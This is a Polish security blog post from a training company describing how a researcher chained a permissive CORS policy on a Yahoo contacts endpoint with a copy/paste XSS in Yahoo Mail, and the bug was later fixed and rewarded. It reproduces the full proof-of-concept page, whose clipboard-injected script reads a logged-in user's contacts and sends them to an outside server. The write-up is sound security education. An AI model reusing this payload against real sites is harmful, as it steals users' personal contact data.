15.01.2018 | 23:07

Przemysław Sierociński

Poniedziałek z trenerem – dwa błędy prowadzące do wykradania kontaktów Yahoo

Dzięki rozwojowi technik zabezpieczeń coraz częściej jeden błąd w aplikacji nie wystarcza, by uzyskać nieuprawniony dostęp i błędy trzeba łączyć, by osiągnąć upragniony cel. Nie inaczej jest w tej historii.

W dzisiejszym odcinku historia dwóch błędów, które wspólnie umożliwiały uzyskanie pełnej listy kontaktów użytkownika poczty Yahoo. Wykorzystując niebezpieczną konfigurację Cross Origin Resource Sharing oraz błąd XSS możliwe było odczytanie nazw, numerów telefonów, adresów i innych szczegółów wpisów w książce kontaktowej aktualnie zalogowanego użytkownika.

W poprzednich odcinkach

We wcześniejszych wpisach cyklu Poniedziałek z trenerem:

Błąd w ustawieniach polityki CORS

Zaczęło się od przeglądania ruchu HTTP, który powstał podczas korzystania z usług Yahoo. Podczas przeglądania zakładki Target w Burp Suite badaczowi wpadł w oko adres:

https://proddata.xobni.yahoo.com/v4/contacts

głównie z powodu obiecującej nazwy domeny. Końcówka umożliwia dostęp do wszystkich danych kontaktów przy pomocy prostego żądania GET. Następnie okazało się, że ustawienia CORS dla wybranego adresu są mało restrykcyjne. W przypadku podania jako źródła dowolnej subdomeny yahoo.com, takie żądanie jest dozwolone. Można to było przetestować chociażby w ten sposób:

curl 'https://proddata.xobni.yahoo.com/v4/contacts' -s -H 'Origin: https://z3s.yahoo.com' --head

co skutkowało pojawieniem się w odpowiedzi następujących nagłówków:

Access-Control-Allow-Origin: https://z3s.yahoo.com
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Credentials: true

Obecność Access-Control-Allow-Credentials powoduje, że Cookie będą również uwzględniane, a więc zalogowany użytkownik będzie automatycznie uwierzytelniany. Innymi słowy, kod uruchomiony pod dowolną subdomeną yahoo.com ma dostęp do listy kontaktów. Pozostało znaleźć sposób, by go wstrzyknąć – XSS gdzieś w adresie *.yahoo.com.

XSS poprzez wklejanie ze schowka

Po kilku dniach poszukiwań bez konkretnego efektu Corben odkrył, że @opnsec pochwalił się na Twitterze XSS-em. W tym czasie nie został on poprawiony przez Yahoo, prawdopodobnie z powodu tego, że do ataku potrzebna była nietypowa interakcja: skopiowanie dowolnego fragmentu ze złośliwej strony i wklejenie na stronie poczty. Po szybkim dostosowaniu payloadu do potrzeb prezentacji badacz zaraportował połączone błędy. Tym razem podatność została naprawiona, odkrywca otrzymał również stosowną nagrodę pieniężną. Co sprawiło, że Yahoo jednak zdecydowało się uznać podatność? Może to dzięki sugestywnej prezentacji udało się przekonać firmę o realnym zagrożeniu?

Oryginalny kod Proof of Concept:

<!doctype html>
  <head>
    <title>Yahoo CORS Misconfiguration</title>
  </head>
  <body>
    <h1>Yahoo CORS Misconfiguration</h1>
    <p>Stealing Contact information via CORS Misconfiguration + Yahoo Mail XSS via Copy/Paste</p>
    <h3>Prerequisites :</h3>
    - Tested on Windows 10 with Firefox 56, Chrome 62, Edge<br/>
    <h3>Instructions :</h3>
    1. Select any text in this page and copy it using ctrl-C or right click -> copy <br/>
    <span>Copy status : </span><span id="copied">not copied yet</span> <br/>
    2. Go to Yahoo Mail, compose a new email and paste inside the email body<br/>
    3. All of your contact's information will be sent to my server on port 61315  
  <script>
  document.addEventListener('copy', function(e){
  	e.clipboardData.setData('text/plain', '');
  	e.clipboardData.setData('text/html','<div id="enhancr2_a" class="yahoo-link-enhancr-card">xxx</div><img src="x" onerror="document.write(\'&lt;script&gt;var xhttp=new XMLHttpRequest();xhttp.onreadystatechange = function() {if (this.readyState == 4 && this.status == 200) {document.location="http://example.com:61315"+escape(this.responseText);}};xhttp.open("GET","https://proddata.xobni.yahoo.com/v4/contacts",true);xhttp.withCredentials = true;xhttp.send();&lt;/script&gt;\');">');
  	e.preventDefault();
  	document.getElementById("copied").textContent = "SUCCESSFULLY COPIED"
  });
  </script>

Filmik odkrywcy prezentujący wykorzystanie podatności:

Źródło: http://www.sxcurity.pro/2018/01/11/chaining-yahoo-bugs/

Szkolenie z bezpieczeństwa aplikacji WWW

Korzystając z okazji serdecznie zapraszamy na kolejne z naszych szkoleń, już w lutym!

Bezpieczeństwo aplikacji WWW - atak i obrona

Warsaw-center-free-license-CC0
Warszawa, 19 – 21 lutego 2018

Czas trwania: 3 dni (20h), Prowadzący: Adam z z3s, Przemysław Sierociński
Liczba uczestników: maksymalnie 12 osób, cena: 3900 PLN netto

Szczegółowy opis szkolenia
Powrót

Zostaw odpowiedź

Jeśli chcesz zwrócić uwagę na literówkę lub inny błąd techniczny, zapraszamy do formularza kontaktowego. Reagujemy równie szybko.

Poniedziałek z trenerem – dwa błędy prowadzące do wykradania kontaktów Yahoo

Komentarze